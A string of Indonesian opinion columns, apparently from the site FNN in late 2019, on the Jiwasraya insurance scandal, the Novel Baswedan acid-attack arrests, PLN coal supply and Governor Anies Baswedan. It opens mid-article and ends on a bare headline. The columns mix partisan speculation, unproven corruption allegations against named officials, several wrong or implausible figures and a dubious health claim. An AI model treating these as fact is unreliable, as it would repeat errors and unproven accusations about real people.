Bapak dan keluarga. Jangan sampai kekuasaan yang digenggam menjadikan kemudharatan yang menghancurkan kepercayaan rakyat kepada pemimpinnya. Saya perhatikan Markobar di banyak kota sepi pengunjung. Dan martabaknya sangat manis, menjadi penyumbang terjadinya Diabetes dan Kanker pada anak, remaja, dan generasi muda. Rasanya juga tidak istimewa. Biasa-biasa saja. Gibran masih harus belajar bisnis makanan yang membuat sehat rakyat, bukan hanya sekedar menguntungkan. @Tifauzia Tyassuma Dokter, Peneliti, dan Penulis Jika Presiden Jokowi tetap meluluskan niatan Gibran dan Bobby maju Pilkada 2010, Jokowi akan dinilai rakyat sedang membangun politik dinasti. Bahkan, rakyat akan menilai, ternyata keluarga Jokowi juga “haus kuasa”. Jika keduanya tetap bersikeras maju, Jokowi justru “terjebak” dalam citra negatif yang sangat mematikan! *** Penulis wartawan senior.

Skandal Jiwasraya: Obsesi Jokowinomics yang Berantakan

Oleh Mochamad Toha Jakarta, FNN - Sebuah akun twiter atas nama Christ Wamea @ChristWamea mencatat, negara rugi Rp 13,7 triliun akibat korupsi di Jiwasraya, Garuda butuh Rp 12 triliun untuk bayar utang, dan BPJS mengalami defisit Rp 32 triliun. Apa BUMN lain tidak ada masalah? “Utang negara naik tiga kali lipat. Ekonomi Hancur. Ini semua karena rezim ini hanya sibuk dengan isu siapa yg paling Pancasilais dan siapa yang radikalisme,” begitu isi twiter Christ Wamea @ChristWamea beberapa waktu lalu yang ramai di WAG. Dari Pergerakan Total Utang Emiten 20 BUMN pada 2014 dan H12019 terlihat komparasi besarannya. Pada 2014 Rp 9,234.300 sedangkan H12019 Rp 13,984.200. Itulah Data Utang PGAS dan ANTM terakhir adalah Q1-2019, Chart: RTI Analytics. Lima dari 20 BUMN tersebut tercatat pergerakannya, antara lain PT Perusahaan Gas Negara (2014) Rp 3,252.4 triliun, (2019) Rp 4,214.1 triliun; PT Garuda Indonesia Tbk (2014) Rp 2.184.1 triliun, (2019) Rp 3,568.2 triliun; PT Krakarau Steel Tbk (2014) Rp 1,706.6 triliun, (2019) Rp 2,572.1 triliun; PT Bank Rakyat Indonesia Tbk (2014) Rp 704.2 triliun, (2019) Rp 1,097.4 triliun; PT Bank Mandiri Tbk (2014) Rp 750.2 triliun, (2019) Rp 1,045.9 triliun. Jadi, menjawab pertanyaan Christ Wamea @ChristWamea tadi, tentu saja jika dilihat dari Pergerakan Total Utang Emiten 20 BUMN pada 2014 dan 2019 itu, ternyata BUMN yang lain terdapat “masalah”, yakni utangnya meningkat. Skandal Jiwasraya (Jiwasrayagate) yang kini ramai dibicarakan sejak terungkap, jelas beda masalahnya dengan ke-20 BUMN yang “terlilit” utang itu. Karena, dalam Jiwasrayagate ini diduga kuat terdapat unsur pidana korupsinya. Jiwasrayagate ini terungkap bermula dari adanya klaim nasabah peserta program Saving Plan yang gagal dibayar oleh Jiwasraya. Di sini terkuaklah defisit luar biasa besar yang ditanggung oleh BUMN bidang jasa asuransi tersebut. Totalnya menyentuh angka Rp 13,74 triliun, bukan sebuah nominal yang kecil! Bukan hanya nasabah yang panik klaimnya tak dibayar! Betapa tidak, 13 ribu 740 miliar rupiah menjadi defisit dalam kurun waktu hanya 2 tahun terakhir saja. Sebab, pada tahun buku 2017 meski kinerja keuangan Jiwasraya mulai tertekan, tapi masih mampu membukukan laba bersih sebesar Rp 328,43 miliar dan nilai equitasnya positif Rp 5.608,88 miliar atau Rp 5,6 triliun. Tercatat, Jiwasraya mulai membukukan kerugian sampai belasan triliun sejak 2018. Begitu juga equity-nya mulai negatif sebesar Rp 10 triliun sejak 2018 dan hingga September 2019 sudah minus mencapai nominal Rp 23,9 triliun! Menariknya, Presiden Joko Widodo langsung bereaksi atas indikasi meruginya Jiwasraya tersebut. Padahal, dalam kasus indikasi kerugian BUMN lain sampai puluhan triliun rupiah, Presiden Jokowi tidak bereaksi langsung, bahkan nyaris tak ada komentar. Dalam kasus Jiwasraya ini Presdien Jokowi langsung menyatakan di hadapan pers bahwa kasus meruginya Jiwasraya ini sudah berlangsung lama, “Sudah 10 tahunan,” ungkapnya. Jelas, Presiden Jokowi mencoba mencari “aman”. Menarik mundur 10 tahun itu sama artinya dengan melempar tanggung jawab Jiwasrayagate kepada presiden pendahulunya, Susilo Bambang Yudhoyono, yang menjabat presiden untuk periode keduanya (2009-2014). Jokowi pertama kali menjadi presiden 5 tahun yang lalu. Jadi kalau mau “lepas tangan”, maka dia harus tarik mundur lebih dari 5 tahun lalu. Jokowi akan jauh lebih aman, maka blame it to 10 tahun yang lalu, saat SBY masih menjadi presiden periode kedua. Tapi benarkah demikian?! Benarkah Jiwasraya sudah merugi sejak 10 tahun yang lalu, yaitu sejak 2009? Mantan Sekretaris Menteri BUMN saat pemerintahan SBY, Said Didu menyatakan, memang betul Jiwasraya masih merugi saat periode pertama SBY menjadi presiden karena “warisan” dari krisis keuangan tahun 1998 yang belum tertangani. Tapi, kemudian Jiwasraya membaik. Catatan yang dibuat Tirto.id menunjukkan bahwa pada 2009 Jiwasraya mencatatkan laba sebesar Rp 356 miliar dan equity-nya + Rp 799,6 miliar. Serah terima dari SBY kepada Jokowi, 20 Oktober 2014. Dan, pada akhir 2014 Jiwasraya masih membukukan laba Rp 669 miliar dengan ekuitas Rp 2,4 triliun. Laba mulai menurun drastis pada 2017, meski masih positif. Dan, mulai merugi pada 2018 – 2019. Ekuitas menjadi negatif sejak 2018. Jadi, pernyataan Jokowi sama sekali tidak terbukti! Yang menjadi pertanyaan, mengapa Presiden Jokowi sedemikian sensitif menyikapi kerugian Jiwasraya yang nilainya fantastis, melebihi bail-out untuk Century sebesar Rp 6,7 triliun. Mengapa Presiden Jokowi harus sedemikian defence sampai harus melempar masalah ini sejauh mungkin hingga mundur 10 tahun ke belakang?! Padahal data keuangan sama sekali tidak menunjukkan demikian! Ada apa gerangan?! Berbeda dengan Jokowi yang buru-buru membuat statement, Menteri BUMN Erick Tohir justru sebaliknya: nyaris tak bersuara! Erick lebih memilih diam, bungkam, tak seperti kala menguak adanya penyelundupan moge Harley Davidson dan sepeda Brompton itu. Padahal, dalam kasus penyelundupan itu kerugian negara hanya beberapa miliar saja. Tapi, Erick dengan gagah berani melakukan konpers bersama Menteri Keuangan Sri Mulyani, mengungkap pelanggaran itu dan meminta pelakunya untuk mundur atau diberhentikan. Kasus kerugian Jiwasraya ini meruakkan bau tak sedap. Konon, mantan Direktur Keuangan Jiwasraya, Hary Prasetyo, yang sempat menjadi Tenaga Ahli Utama Kedeputian III Bidang Kajian dan Pengelolaan Isu-Isu Ekonomi Strategis di KSP diisukan kabur ke luar negeri. Kepala Staf Presiden (KSP) Moeldoko mengaku dirinya tak melindungi Hary. Bahkan, dia mengaku tidak tahu-menahu jika Hary diduga terlibat dalam kasus gagal bayar Jiwasraya. Harry mulai masuk KSP pada Mei 2018, setahun sebelum Pilpres 2019. Hary hanya di KSP sampai Jokowi selesai menjabat presiden periode pertama. Sekarang, karena tugas Hary sudah selesai, maka KSP pun bisa menyatakan diri tidak tahu-menahu. Ada aroma tak sedap lainnya yang menyeruak ke publik. Kabarnya, di balik meruginya Jiwasraya, BUMN itu diduga dananya ikut dipakai mendanai pemenangan Pilpres 2019 kemarin. Hal ini mengingatkan kita pada Skandal Bank Century, yang mengalami gagal clearing pada 2008. Dengan alasan untuk mencegah kerugian yang lebih besar karena Century bisa berdampak sistemik, maka negara melakukan bail-out untuk Century sebesar Rp 6,7 triliun. Saat itu Menteri Keuangannya Sri Mulyani – seperti sekarang dan periode lalu. Sementara Gubernur BI kala itu dijabat Boediono yang kemudian menjadi wapres. Ketika itu kuat dugaan ambruknya Century dan skenario bail-out terkait dengan gelontoran dana untuk Pilpres 2009, SBY saat itu presiden petahana akan maju lagi untuk periode kedua. Akankah Jiwasrayagate ini bakal menjadi heboh seperti Centurygate? Jika mau berlaku adil dan fair sudah seharusnya lembaga rasuah KPK dan Kejagung bersinergi untuk membongkar kedua skandal keuangan ini sehingga isunya tidak menjadi liar. *Jokowi Effect* Apa yang sebenarnya terjadi dengan Jiwasraya itu? Dana Jiwasraya raib akibat salah investasi pada 2018 dan 2019. Jiwasraya membeli saham Reksadana yang pada akhir 2017 mengalami kemerosotan harga. Itulah fakta yang sebenarnya terjadi. Misalnya, Jiwasraya membeli saham Rp 200/lembar, tapi harga saham pada 2019 ternyata turun menjadi Rp 125/lembar. Seharusnya Jiwasraya tak mengulang membeli, tapi harus jual saham. Sehingga, hanya rugi Rp 75/lembar. Atau dijual saat saham bergerak turun, meski baru dibuka lagi dalam waktu dua jam. Namun, anehnya Jiwasrayagate tak jual, justru beli saham lagi yang turun pada 2019. Padahal, sudah dalam kondisi merugi. Mungkin Jiwasraya berharap setelah beli akan bergerak naik. Mereka yakin 2019, saham akan naik jika Jokowi menjadi Presiden kedua kalinya. Faktanya saham justru menurun terus. Meraka mimpi 2019 Pasca Pilpres 2019, saham akan naik. Faktanya terus merosot. Artinya, Jiwasrayagate merupakan korban obsesi Jokowi Effect di bidang ekonomi. Ironisnya sebelum harga saham naik, ternyata ada klaim dari nasabah yang saatnya melakukan klaim. Tapi, kas Jiwasraya kosong! Sehingga terbongkar. Secara kelembagaan, cara Jiwasraya sebagai perusahaan BUMN itu jelas melanggar hukum. Kesalahan tidak bisa ditimpahkan kepada petinggi Jiwasraya saja. Ada Otoritas Jasa Keuangan (OJK) yang juga harus dibongkar. Jiwasrayagate ini hanya puncak gunung es. Bahwa OJK sebenarnya tidak melaksanakan tugas sesuai dengan SOP-nya. Juga menjadi bukti, bukan kemuskilan main saham yang dilakukan Jiwasraya itu juga dilakukan perusahaan BUMN lain. Kabarnya, saham perusahaan Erick Thohir tak dijual di Reksadana. Tapi, melayani sendiri di pasar saham. Kalau pun Jiwasraya membeli saham perusahaan Erick, yang salah itu pembeli, bukan pemilik saham! Mengapa beli saham yang turun?! *** Penulis wartawan senior.

Tersangka Air Keras Ditangkap, Tito Menyesal Keluar dari Polri

By Asyari Usman Jakarta, FNN - Sangat mungkin Tito Karnavian sekarang menyesal meninggalkan Polri. Meskipun dia diangkat menjadi Menteri Dalam Negeri (Mendagri). Sebab, setelah dia pergi, Bareskrim akhirnya bisa menangkap dua tersangka perlaku penyiraman air keras penyidik KPK, Novel Baswedan. Mengapa Tito menyesal keluar dari Polri? Pertama, penangkapan yang dilakukan pada 26 Desember 2019 itu merupakan prestasi penting Jenderal Idham Aziz, Kapolri yang baru. Selama dua tahun ini Tito gagal mencari pelaku penyiraman. Tentunya penangkapan ini membuat Tito malu. Itu pun kalau dia masih punya. Kedua, Tito menyesal menjadi Mendagri karena boleh jadi Jokowi mengangkat dia sebagai cara halus untuk mempercepat penangkapan itu. Barangkali saja Jokowi melihat Tito selama ini “malas” mencari pelaku air keras itu. Diangkatlah sebagai Mendagri. Tito tentu merasa tersanjung. Padahal, Jokowi ingin membebaskan Polri dari “malas”-nya Tito mengejar pelaku. Ketiga, dan ini yang paling penting, Tito menyesal pergi dari Polri karena boleh jadi pengembangan dari penangkapan kedua tersangka itu bisa meluas ke mana-mana. Apalagi kedua tersangka itu adalah anggota Polri aktif. Tak tertutup kemungkinan mereka akan “buka mulut” lebar-lebar. Kalau nyanyian mereka komplit, bisa-bisa kasus dugaan korupsi oleh seorang pejabat tinggi dalam kaitan dengan “Buku Merah”, akan ikut juga terungkap. Itulah tiga dasar penyesalan Pak Tito melepaskan jabatan Kapolri. Tito kelihatannya dijebak dengan umpan jabatan Mendagri. Tito tak lagi punya “real power” di Polri meskipun masih banyak loyalisnya di sana. Kalau “ada apa-apa” dengan penyelidikan kasus Novel yang dikembangkan dari kedua tersangka anggota Polri itu, Pak Tito tidak lagi menjadi faktor. Setelah pensiun dari Kepolisian, Tito menjadi “lame duck”. Teoritis, tak berdaya. Jokowi tinggal mengatakan, “Siapa pun juga harus mengikuti proses hukum”. Setelah itu, penyidikan air keras bisa berkembang pesat. Bisa saja membuka tabir figur kuat di balik air keras Novel. Smart scenario! Salut kepada Pak Jokowi. Tepatnya, salut kepada “script-writer” beliau. Cerdas dalam cara menggiring Tito keluar dari Polri. Yang kemudian memuluskan langkah untuk menuntaskan kasus Novel. Tapi, akankah semua berjalan seperti yang diinginkan? Tunggu dulu. Belum tentu skenario yang disusun bisa ‘applicable’ (terjabarkan) semuanya! Sebab, drama air keras Novel itu mirip dengan pembuatan film kolosal. Banyak aktor besar yang ikut berlakon. Lain lagi aktor-aktor menengah dan kecil yang akan membuat bingung sutradara. Tidak bisa dipastikan apakah kedua tersangka itu akan membeberkan siapa-siapa yang merencanakan air keras Novel. Tidak ada jaminan akan terungkap nama-nama besar sebagaimana, mungkin, diharapkan oleh Jokowi dan Novel Baswedan. Novel sendiri mengatakan, dia melihat banyak keanehan dalam penangkapan kedua tersangka. Misalnya, tersangka mengarahkan tindakan penyiraman air keras itu sebagai pelampiasan dendam pribadi. Bukan karena bagian dari operasi yang ditujukan untuk mengganggu atau mencegah penyelidikan kasus korupsi yang ditangani oleh Novel. Jadi, akan banyak ‘ranjau’ di sepanjang jalan penyidikan. Anda bisa saja jumpa banyak tanda ‘no visitors’ di ruas-ruas tertentu. Yaitu, ruas-ruas yang tak boleh dimasuki oleh siapa pun. Di Indonesia, pemandangan seperti ini masih lumrah. Tidak semua pohon bisa ditebang dengan gergaji hukum. Masih banyak ‘the untouchable’ (tak bisa disentuh) yang mengendalikan proses hukum itu. Pak Jokowi boleh-boleh saja punya “script-writer” yang cemerlang. Tapi, penulisan naskah dan pengambilan gambar (shooting) adalah dua hal yang berbeda. Shooting bisa berlangsung tanpa sepenuhnya mengikuti naskah. Sering terjadi “ad-libbing” (spontanitas). Di sinilah nanti banyak celah untuk “membajak” proses hukum air keras. Sangat mungkin “ketua” tim penyiram air keras bermain di belakang layar. Sehingga, penyidikan kedua tersangka menjadi terarah sesuai keinginan “ketua”. Tampaknya, inilah yang akan terjadi. Karena itu, janganlah Anda senang dulu dengan langkah Jokowi membebaskan Polri dari “kemalasan” mereka memburu pelaku air keras Novel. Sebaliknya, jangan pula pesimis bahwa penangkapan kedua tersangka itu hanya basa-basi saja. Tapi, Anda layak percaya “ketua” tim penyiram besar kemungkinan akan lolos.[] 28 Desember 2019 Penulis wartawan senior.

PLN Group Selektif-lah Kualitas Supply Batu Bara

Hal itu, mengisyaratkan bahwa kualitas batu bara yang dipasok oleh PLN Batubara akan sangat selektif, agar terhindar dari berbagai gangguan, bila pemasok batubara menggunakan cara manipulasi standart bahan yang tidak sesuai, misalnya, nilai kalor batubara ˂ 4.220 kCal/kg. Oleh Muhammad Hasan Jakarta, FNN – PT PLN (Persero) meresmikan Pembangkit Listrik Tenaga Uap (PLTU) Jawa 7 tahap I dengan kapasitas 1.000 megawatt, sementara tahap II, juga berkapasitas 1.000 Megawatt yang ditargetkan pada bulan Februari hingga April 2020 baru resmi beroperasi. Publik tentu menghitung, dengan jumlah yang akan di produksikan, di internal dermaga pembangkit listrik jenis batu bara terbesar Indonesia itu, bila dua-duanya dioperasikan tahun depan. Publik juga telah mengetahui, bahwa, pembangkit listrik jenis batu bara yang di pasok oleh PLN Grup jauh sebelum PLTU Jawa 7 itu, ialah sebesar 51%. Sisi lain, pengusaha batu bara merasa diuntungkan dengan target tersebut. Tahun depan, PLN Grup akan meningkatkan jumlah kebutuhan pemasok dari pembangkit listrik milik PLN Grup, yaitu sebesar 60%. besarnya porsi itu sudah pasti membawa dampak positif bagi pengusaha batu bara, juga secara khusus dampak postif itu terjadi pada PLN sebagai pemain tunggal persediaan batu bara. Berkaca pada, penetapan target Domestic Market Obligation (DMO) tercatat tahun 2019 sebesar 128 juta ton, sementara 115 juta ton di tahun 2018. Diwacanakan juga 2020 mendatang target DMO dinaikan ke level 155 juta ton. Selain taget DMO. Sikap pemerintah dalam menetapkan harga batu bara sesuai yang dikutip ialah sebesar U$D 70 juta per ton pada pengusaha batu bara dan PLN Batubara sebagai perusahaan pemasok bahan utama ke unit pembangkit yang dimiliki oleh PLN tentu merasa diuntungkan dengan nilai jual itu. PT PLN Batubara dikabarkan bahwa pencapaian pasokan batu bara hingga akhir 2018 mencapai 22,1 juta metric ton. Jumlah yang fantastis alias tidak sedikit, bila dikalkulasikan dalam Rupiah bisa mencapai laba senilai 284,4 miliyar. Selain itu, PLN Grup sebagai pemain tunggal di sektor persediaan batubara, dan berhak mengatur distribusi pasokan batu bara ke unit Pembangkit PLN sesuai kebutuhan masing-masing unit. Fluktuatif dan Kualitas Supply Besarnya jumlah kebutuhan produksi batu bara dan"fluctuating supply", yang sering terjadi, jelas menimbulkan kerawanan pada penambang, maka quality supply batu bara harus punya standart khusus yang siap digunakannya. Perlu dipahami, Pembangkit Listrik Tenaga Uap (PLTU) Jawa 7, 2.000 Megawatt itu, menggunakan teknologi Boiler Ultra Super Critical (USC), dengan bahan bakar batu bara Low Rank yang memiliki nilai kalor 4000 hingga 4600 kCal/kg. Hal itu, mengisyaratkan bahwa kualitas batu bara yang dipasok oleh PLN Batubara akan sangat selektif, agar terhindar dari berbagai gangguan, bila pemasok batubara menggunakan cara manipulasi standart bahan yang tidak sesuai, misalnya, nilai kalor batubara ˂ 4.220 kCal/kg. Belum juga, kalau misalkan divisi quality control lalai bahkan tergiur fee yang besar kemudian kurang memaksimalkan kepastian kualitas suplai batu bara ke unit pembangkit, agar tetap pada posisi steril. Itulah tanda bahaya yang bisa saja terjadi. Bila, nonfluctuating supply bisa diterapkan dengan standart kebutuhan terseleksi secara baik, mesin pembangit cenderung lebih tahan lama (awet) dan mengurangi cost perawatan pada tiap-tiap unit mesin pembangkit itu sendiri. Menghindari penurunan efisiensi penukar kalor, pada boiler, slagging di daerah radiasi akan baik-baik saja, dan fouling di daerah konveksi pun sama baiknya. Dengan begitu, secara pasti mengurangi biaya yang terjadi slagging dan fouling pada boiler. Itulah sikap selektif dan tidak fluktuatif yang menguntungkan pada pengusaha batu bara sekaligus pembangkit listrik.

Jiwasraya yang Diperkosa oleh Jiwaserakah

By Asyari Usman Jakarta, FNN - Seandianya kata “sraya” berarti “belahan”, maka “jiwasraya” adalah “belahan-jiwa”. Dan, pantaslah perusahaan asuransi Jiwasraya sangat dicintai oleh para penguasa. Sebab, “belahan-jiwa” akan selalu menyerahkan segalanya untuk siapa saja yang mencintainya. Itulah yang, agaknya, terjadi dalam dua tahun ini atas diri Jiwasraya. Si belahan-jiwa, PT Jiwasraya, menyerahkan semua yang ada padanya untuk orang-orang yang mencintainya. Yang menjadi masalah, para pencinta Belahan-jiwa ternyata adalah orang-orang yang memiliki Jiwaserakah. Dia tidak tulus mencintai Jiwasraya. Jiwaserakah hanya berpura-pura. Dia hanya ingin kekayaan Jiwasraya. Sekarang, kekayaan Jiwasraya sudah ludes. Dalam dua tahun saja, Jiwasraya menjadi kurus-kering diisap oleh Jiwaserakah. Mula-mula Jiwaserakah menguras Jiwasraya dengan cara halus. Tetapi, setelah itu dia memperkosa Jiwasraya. Bahkan, setelah diperkosa, Jiwaserakah kini terindikasi mau membunuh Jiwasraya. Jiwaserakah memang kejam dan brutal. Dia memiliki kekuasaan besar. Kekuasaan yang sangat tinggi. Setinggi penguasa tertinggi. Tapi, Jiwaserakah tidak hanya kejam dan brutal. Dia juga pintar. Sangat smart. Dia ajak para penguasa otoritas keuangan dan para penguasa politik untuk ikut memperkosa Jiwasraya. Belahan-jiwa yang sangat berpengalaman ini kolaps dalam kondisi yang mengenaskan. Hari ini, setelah pemerkosaan Belahan-jiwa terungkap, para petugas rendahan mulai melakukan pengusutan. Karena rendahan, para petugas itu tak ada yang berani membeberkan siapa-siapa saja pelaku pemerkosaan Jiwasraya. Jaksa Agung tak berani. Pak Jaksa mengatakan identitas pemerkosa akan dirahasiakan. Induk semang Jiwasraya, yaitu Menteri BUMN Erick Thohir, juga tutup mulut. Tampaknya, mereka itu takut. Para mantan manajer “wanita kaya” (Belahan-jiwa) itu dirumorkan kabur ke luar negeri. Tapi, hebatnya, dia menantang. Dia katakan, “saya ada di sini”. Maksudnya, dia tidak lari. Dia bagaikan menantang, “Tangkaplah aku, kau kukejar”. Mungkin si mantan manajer merasa lelaki perkasa yang memperkosa Belahan-jiwa adalah orang kuat yang tak akan tersentuh hukum. Nah, siapa yang berani? Tampaknya tidak ada. Para kekasih palsu Jiwasraya banyak jumlahnya. Mereka semua adalah orang-orang kuat. Dekat dengan pusat kekuasaan. Bisakah publik mengharapkan skandal pemerkosaan Belahan-jiwa (Jiwasraya) terungkap tuntas tanpa ada yang dilindungi? Kelihatannya Anda meletakkan panggang Anda jauh dari api. Tak mungkin masak. Panggang Anda akan busuk. Akan dibuang ke gorong-gorong dekat Monas. Kembali ke laptop. Lembaga asuransi jiwa tertua di Indonesia, Jiwasraya, kemungkinan besar akan bangkrut. Kolaps. Dengan utang 13 koma sekian triliun. Kata para ahli keuangan, perlu 30 triliun untuk mengobati Jiwasraya. Ada yang mengatakan perlu 50 T. Mengapa tiba-tiba saja perusahaan asurani milik BUMN ini hancur berantakan? Jangankah Anda, Erick Thohir saja bingung. Tapi, menteri BUMN itu, konon, kebingungan mau buat apa. Dia pasti sudah tahu para pelaku korupsi Jiwasraya. Persoalannya, di depan Erick ada preman-preman eksekutif dan legislatif. Mereka inilah yang diduga sebagai pelaku pemerkosaan Jiwasraya. Erick hanya bisa menatap Jiwasraya dengan perasaan sedih. Neraca keuangan Jiwasraya ajlok sangat dalam di tahun politik, 2018. Dari posisi positif 5.61 triliuan pada 2017, terjun bebas ke posisi negatif 10.2 triliun pada 2018. Kemudian, di tahun 2019 ini semakin terpuruk. Neraca keuangan Jiwasraya berada pada posisi minus 23.8 triliun. Tidak berlebihan untuk mengumumkan bahwa Jiwasraya tinggal menunggu hari. Dia akan segera menghembuskan nafas terakhir. Rakyat ingin agar para pelaku perampokan dan pemerkosaan Jiwasraya diungkap, ditangkap, dan disekap. Tapi itu hampir tak mungkin. Sebab, para perampok dan pemerkosa itu adalah orang-orang yang mengendalikan pengungkap, penangkap dan penyekap. Sebagai penutup. Adakah kaitan antara skandal Jiwasraya dengan kegiatan pilpres 2019? Banyak yang percaya begitu. Orang-orang menduga kuat uang Jiwasraya digunakan untuk menyukseskan misi politik Jiwaserakah.[] 26 Desember 2019 Penulis wartawan senior.

Anies, Gubernur Untuk Semua

Untuk mendapatkan semua fasilitas di atas, anda gak akan ditanya apa agama dan etnis anda, serta dari mana asal daerah anda. Anda juga tak akan ditanya dulu pendukung Anies apa bukan. Tak akan! Disini tak berlaku diskriminasi. Sebab, Anies bukan gubernurnya para pendukung, tapi gubernur untuk semua. By Tony Rosyid Jakarta, FNN - Anies, harapan semua rakyat Indonesia. Tidak saja warga Jakarta, tapi rakyat di seluruh tanah air. Anies bukan hanya gubernur Jakarta, tapi Gubernur Indonesia, begitu kata Cahyo Kumolo, Mendagri saat itu. Masuk akal, karena Jakarta bukan hanya estalase warga DKI, tapi Jakarta adalah kota yang merepresentasikan seluruh wilayah negeri ini. Wajah Indonesia ada di Jakarta. Jakarta akan dilihat sebagai gambaran Indonesia secara keseluruhan. Tidak saja infrastrukturnya, tetapi juga ekonomi dan peradaban masyarakatnya. Jakarta dihuni oleh multi etnis, kelompok organisasi dan beragam agama. Anies hadir untuk menjadi pemimpin bagi semua. Tanpa terkecuali. Ini tantangan bagi Anies bagaimana hadir dengan pelayanan buat semuanya. Keadilan dan kesetaraan mesti menjadi basis bagi semua kebijakannya. Dalam berbagai kesempatan Anies sering sekali mengungkapkan: "bahwa kehebatan Indonesia bukan pada keberagamannya, tetapi lebih pada adanya persatuan di tengah keberagaman itu. Banyak negara yang lebih beragam dari Indonesia, namun tak berhasil mewujudkan persatuan. Sebab persatuan itu hanya bisa diwujudkan dengan hadirnya keadilan". Narasi ini seolah menjadi filosofi dan pondasi dasar bagi Anies dalam membangun kota Jakarta. Kata kuncinya adalah "keadilan". Tagline "Maju Kotanya Bahagia Warganya" hanya bisa diwujudkan jika Anies tidak saja berhasil meraih prestasi lewat berbagai program kerjanya, tetapi juga mampu menghadirkan keadilan dan kesetaraan untuk semua. Nampaknya, ini betul-betul disadari oleh Anies. Hadirnya Anies di berbagai perayaan hari besar agama adalah salah satu bukti dari usahanya mewujudkan nilai-nilai keadilan itu bisa dirasakan oleh semua pemeluk agama di Jakarta. Jakarta adalah kota yang sangat toleran. Setiap etnis dan agama bebas hidup dan mendapatkan pelayanan yang sama di Jakarta. Masjid, gereja dan wihara tegak berdiri dan bebas bagi masing-masing keyakinan untuk berekspresi. Jakarta adalah kota dimana semua etnis ada di sini. Turun temurun dari zaman sebelum merdeka. Begitu juga ormas. Hampir semua ormas kantor pusatnya ada di Jakarta. Mereka merasa nyaman. Sejumlah tempat ibadah umat beragama pun berdampingan. Satu sama lain saling menghargai dan menghormati. Setiap organisasi dan kelompok diberi ruang untuk mengadakan kegiatan. Pemprov DKI memberikan ijin dan juga fasilitas bagi yang membutuhkan. Mulai dari acara maulid, natal, waisak, pagelaran wayang kulit, sampai pentas musik dan kebudayaan. Hanya satu syarat: tidak melanggar aturan. Dimanapun, yang namanya melanggar aturan harus ditindak. Hukum harus ditegakkan. Anies tak segan untuk mencabut ijin dan membubarkan setiap kegiatan yang melanggar aturan. Alexis dan sejumlah rumah bordil berkedok salon-spa di Pondok Indah adalah beberapa contoh kegiatan yang telah dicabut ijinnya. Ini jadi bukti nyata ketegasan Anies dalam menutup usaha haram di Jakarta. Meski itu milik pengusaha raksasa. Dan raksasanya raksasa adalah reklamasi. Semua oligarki kumpul disitu. Anies segel dan hadapi semua risiko politiknya. Dalam konteks ini, Anies tak diragukan soal ketegasan dan keberaniannya. Sebab, menutup Alexis, reklamasi, dan yang terakhir adalah menerbitkan pergub 132/2018 (133/2019 hasil revisi), untuk mengambil alih pengelolaan apartemen dari pengembang tak mungkin dilakukan jika Gubernur DKI ini tidak punya "triple nyali". Menilai ketegasan orang, jangan lihat kata, muka dan senyumnya. Lihatlah pada kebijakannya. Dari situ akan terukur dampak dan risikonnya. Makin besar dampak positifnya buat rakyat dan makin tinggi risiko politiknya sebagai pemimpin, maka sebuah kebijakan sudah dianggap memenuhi standar ketegasan. Tidak saja kepada semua etnis, agama dan kelompok, Jakarta juga toleran terhadap para pendatang baru. Karena Jakarta adalah ibu kota, maka siapa saja yang punya KTP Indonesia berhak untuk hidup, tinggal dan mencari nafkah di Jakarta. Tugas gubernur itu melayani semua orang yang hidup di Jakarta. Tentu, syarat dan ketentuan berlaku. Ini lebih pada masalah tertib administrasi. Jadi kalau anda ingin beli rumah DP 0%, gratis berobat (BPJS), dapat KJP Plus, memperoleh bantuan modal usaha dan susu untuk anak-anak sekolah, ya mesti harus ber-KTP Jakarta. Untuk mendapatkan semua fasilitas di atas, anda gak akan ditanya apa agama dan etnis anda, serta dari mana asal daerah anda. Anda juga tak akan ditanya dulu pendukung Anies apa bukan. Tak akan! Disini tak berlaku diskriminasi. Sebab, Anies bukan gubernurnya para pendukung, tapi gubernur untuk semua. Di luar itu anda bisa menikmati fasilitas di Jakarta tanpa harus KTP Jakarta. Anda bisa menikmati Bus Way dan Jaklingko dengan tarif super murah karena bersubsidi, menikmati air minum yang disiapkan di water spot pinggir jalan, berkeliling sepeda yang jalannya baru selesai dibangun, duduk-duduk di jalan Soedirman dan Thamrin untuk sekedar menikmati gedung pencakar langit dan indahnya kota, atau memanfaatkan wifi gratis di "Ruang Ketiga". Tagar #JakartaUntukSemua sudah dirasakan oleh semua orang. Tak ada dikotomi dan diskriminasi. Semua, tanpa terkecuali, bisa menikmati Jakarta. Apapun agama, etnis, kelompok dan asal daerah. Semua sama di Jakarta. Satu PR yang sedang terus diperjuangkan oleh Anies adalah keadilan di bidang ekonomi. Ini juga menjadi masalah nasional. 1% orang menguasai 39% ekonomi negeri ini. Dan 1% orang memiliki 59% tanah di negeri ini. Disini ada kesenjangan yang terlalu lebar. Solusinya, rakyat kecil harus diangkat. Keberpihakan Anies kepada orang-orang berekonomi lemah dapat dilihat dari kebijakannya membebaskan Jl. Soedirman dan Thamrin buat sepeda motor. Selain becak yang tetap dipertahankan di daerah operasinya masing-masing. Dua jalur yaitu Soedirman dan Thamrin menjadi pusat peredaran uang terbesar di negeri ini. Tak kurang 500 ribu perhari pengendara sepeda motor mencari nafkah melalui dua jalur itu. Mereka menjadi penyambung home industri dengan kebutuhan perkantoran. Para pengendara motor adalah kelompok ekonomi kelas bawah. Trotoar, water spot, jalur sepeda adalah bagian dari upaya gubernurl meringankan warganya, khususnya dari kalangan ekonomi kelas bawah. Selain itu, mantan kemendikbud ini juga membangun apartemen DP 0%. Ini juga khusus untuk mereka yang tak pernah berani punya mimpi bisa beli rumah. Anies ingin menghadirkan Jakarta bukan hanya untuk orang-orang kaya saja, tapi terutama untuk mereka orang-orang yang secara ekonomi perlu kebijakan yang berpihak kepada mereka. Yaitu orang-orang kecil yang seringkali tergusur dan terpinggirkan. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Uang Nasabah Jiwasraya Dirampok, Negara Disuruh Tombok

